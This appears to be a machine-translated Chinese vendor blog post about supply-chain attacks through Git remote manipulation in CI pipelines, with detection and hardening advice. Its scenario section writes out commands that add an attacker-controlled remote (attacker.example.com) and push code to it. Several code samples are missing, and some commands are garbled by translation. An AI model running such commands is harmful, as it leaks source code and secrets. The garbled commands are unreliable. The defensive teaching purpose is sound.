简单 Git 命令背后隐藏的风险
对于大多数开发人员来说，运行类似 git remote set-url origin 的命令感觉很常规，只是维护 Git 配置的又一步。CI 脚本通常还会执行诸如 git remote set-url、Git set url for remote 或 Git remote add 之类的命令，以便在构建期间获取或推送代码。 但风险在于：如果攻击者篡改该配置（本地或在 CI 中），他们可以将您的源重定向到恶意存储库、拦截凭据或注入供应链恶意软件。
典型使用示例：
# 合法使用
git remote set-url 来源 https://github.com/org/project.git
⚠️ 不安全的示例，仅用于教育目的。请勿在生产环境中使用。
安全版本、固定和验证存储库来源
为什么？如果远程切换到攻击者控制的主机，后续的 git fetch/git push 操作都会指向恶意代码。尽可能对可信来源进行硬编码，并避免使用未经验证的动态 URL。
远程操控如何危害构建 Pipeline
修改 Git 远程 URL 可能会对自动化 pipeline脚本被隐式信任。
示例场景：
- CI 脚本使用 git remote set-url 动态重新配置存储库。
- 受损的环境变量（例如，令牌或 repo URL）被注入到脚本中。
- 该构建获取或推送代码到恶意仓库。
- 攻击者插入后门或篡改依赖项。
⚠️ 不安全的示例，仅用于教育目的。请勿在生产环境中使用。
安全版本，使用前验证 $REPO_URL（白名单/xygeni 验证）。
为什么： 根据维护的白名单验证传入的 repo URL（或使用 xygeni verify --git-origin)，然后再采取行动。这可以防止攻击者覆盖环境变量来重定向 pipelines.
检测远程配置中的未经授权的更改
当远程仓库被修改时，Git 不会提醒你。主动监控 .git/config 并且需要进行构建前的完整性检查。
实用检测技术
检查 Git 配置：
将输出与存储在安全基线中的预期 URL 进行比较。
验证
.git/config正直：将校验和与可信基线进行比较。
基于 CI 的验证：
教育说明： 请勿使用暴露在日志或不受保护的环境中且长期有效的凭证运行完整性检查或验证命令。请使用临时凭证和保管的机密信息，并尽可能避免以特权用户身份执行验证命令。
检测提示： 查找指向非规范域的远程服务器（意外的 .net, .io、IP 地址）、重复的远程名称或控制 repo URL 的环境变量，而无需验证。早期检测可以防止 git set-url 操纵污染构建。
使用以下方式保护存储库来源 Guardrails 和哈希验证
预防意味着对您构建的存储库实施严格的控制。 Guardrails 包括签名、哈希验证以及限制谁可以修改 CI 变量。
存储库完整性的安全实践
固定存储库 URL，在可行的情况下对可信来源进行硬编码：
验证存储库哈希：
在构建之前验证 HEAD 是否与预期哈希值匹配。
⚠️ 不安全的例子， 在日志中打印令牌（请勿在生产中使用）。
安全版本，从保险库读取机密，并且永不打印
迷你清单：安全的 Git 远程管理
- 执行 远程 URL 白名单或验证.
- 在构建之前验证 .git/config 的完整性。
- 要求签名 commit和标签。
- 限制谁可以修改 CI 环境变量。
- 记录 git remote set-url 和 git remote add 的执行情况以供审计。
将 Git Remote Set URL 验证集成到 CI/CD Pipelines
添加 guardrails 并进行自动验证，尽早阻止远程操纵 pipeline.
护栏示例：检查重复或未经授权的遥控器
加强共享环境中的供应链篡改防范
共享运行器和权限受限的远程命令具有高风险。请避免在作业运行时添加未经审查的远程命令。
⚠️ 不安全的示例，添加攻击者远程（请勿使用）。
安全版本，限制到已验证的域名，并且仅对已批准的来源使用 –set-url
注意：优先使用临时运行器并避免作业之间的持久共享缓存。
关于运行器的注意事项：请使用临时的、隔离的运行器，并为每个作业重新创建。共享磁盘或缓存可能会在构建过程中保留被篡改的文件。
将 Git 设置 URL 用于远程验证集成到 CI/CD Pipelines
确保 git remote set-url 的使用安全不仅仅涉及手动检查；还涉及自动化。 现代 DevSecOps 工作流程可以将验证直接集成到 CI/CD pipelines.
示例：自动远程完整性验证
此配置可确保在任何构建或部署运行之前， pipeline 验证：
- 存储库 URL 与预期值匹配。
- Commit 签名有效。
- 使用 git add remote 没有添加意外的远程。
额外的 CI 控制
- Pre-commit hooks：检查没有未经授权的 git remote 设置 URL 命令存在于 commits.
- 策略即代码执行：将允许的来源定义为版本控制策略的一部分。
- 依赖镜像：从经过验证的内部镜像而不是直接从互联网源中提取代码。
自动执行这些检查 不仅可以防止错误配置，还可以在代码发货之前检测供应链篡改企图。
加强共享环境中的供应链篡改防范
共享运行器或临时 CI 环境会带来额外的风险。当多个构建共享资源时，git remote set-url 或 git add remote 命令可能会被利用来在会话之间持久化恶意远程资源。
常见攻击场景
受损的构建脚本添加了一个新的远程以将代码推送到攻击者的存储库：
git 添加远程备份 https://attacker.example.com/repo.git
git push 备份主目录
- 在同一 CI 代理上运行的另一个项目从该受污染状态中获取数据。
- 令牌或构建工件等敏感数据通过未经授权的推送泄露。
强化措施
- 短暂的奔跑者： 每次构建后重置 CI 环境。
- 网络隔离： 将出站流量限制到批准的域。
- 最小权限： 限制 Git 操作的权限 pipelines.
- 工件签名： 确保所有构建输出都经过加密签名和验证。
通过结合隔离、验证和监控，团队可以消除利用 git set url 进行远程操作的攻击。
验证、监控和自动化存储库信任
一次滥用 git remote set-url 或未经验证的 git add remote 操作，就能悄无声息地将你的整个构建过程重定向到攻击者控制的仓库。在 DevOps 领域，生产力与妥协之间的界限比以往任何时候都更加模糊，而且 软件供应链攻击 正是利用了这一点。
为了保持对您的信任 pipelines:
- 持续验证存储库来源。
- 执行 commit 和文物签名。
- 自动化 每个阶段的完整性检查 CI/CD.
像平台一样 西吉尼 帮助 DevSecOps 团队检测远程错误配置、监控存储库信任边界，并在恶意远程有机会部署代码之前阻止因 Git 滥用而导致的供应链风险。
信任你的工作流程，但要验证你的来源。这样才能防止 git remote set-url 成为你的下一个安全漏洞。
